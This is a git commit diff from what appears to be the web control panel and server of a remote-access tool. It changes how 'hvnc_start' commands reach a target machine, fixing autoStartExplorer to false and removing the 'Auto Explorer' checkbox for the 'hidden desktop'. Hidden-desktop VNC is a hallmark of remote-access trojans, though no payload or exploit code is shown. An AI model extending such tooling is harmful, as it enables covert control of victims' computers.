remove explorer stuff for now (soft remove I can remove the rest of the shit later when I know for sure I want to.)
This commit is contained in:
@@ -201,7 +201,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
sendCmd("hvnc_start", {
|
sendCmd("hvnc_start", {
|
||||||
autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
|
autoStartExplorer: false,
|
||||||
});
|
});
|
||||||
} else {
|
} else {
|
||||||
setStreamState("idle", "Stopped");
|
setStreamState("idle", "Stopped");
|
||||||
@@ -430,7 +430,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
lastFrameAt = 0;
|
lastFrameAt = 0;
|
||||||
setStreamState("starting", "Starting stream");
|
setStreamState("starting", "Starting stream");
|
||||||
sendCmd("hvnc_start", {
|
sendCmd("hvnc_start", {
|
||||||
autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
|
autoStartExplorer: false,
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
stopBtn.addEventListener("click", function () {
|
stopBtn.addEventListener("click", function () {
|
||||||
|
|||||||
@@ -127,9 +127,7 @@
|
|||||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
|
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
|
||||||
><input type="checkbox" id="cursorCtrl" /> Cursor</label
|
><input type="checkbox" id="cursorCtrl" /> Cursor</label
|
||||||
>
|
>
|
||||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Auto-start explorer.exe on the hidden desktop when streaming begins"
|
|
||||||
><input type="checkbox" id="autoExplorerCtrl" checked /> Auto Explorer</label
|
|
||||||
>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|||||||
@@ -561,7 +561,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
case "hvnc_start":
|
case "hvnc_start":
|
||||||
if (!state.isStreaming) {
|
if (!state.isStreaming) {
|
||||||
sendHVNCCommand(target, "hvnc_start", {
|
sendHVNCCommand(target, "hvnc_start", {
|
||||||
autoStartExplorer: payload.autoStartExplorer !== false,
|
autoStartExplorer: false,
|
||||||
});
|
});
|
||||||
state.isStreaming = true;
|
state.isStreaming = true;
|
||||||
hvncStreamingState.set(clientId, state);
|
hvncStreamingState.set(clientId, state);
|
||||||
|
|||||||
Reference in New Issue
Block a user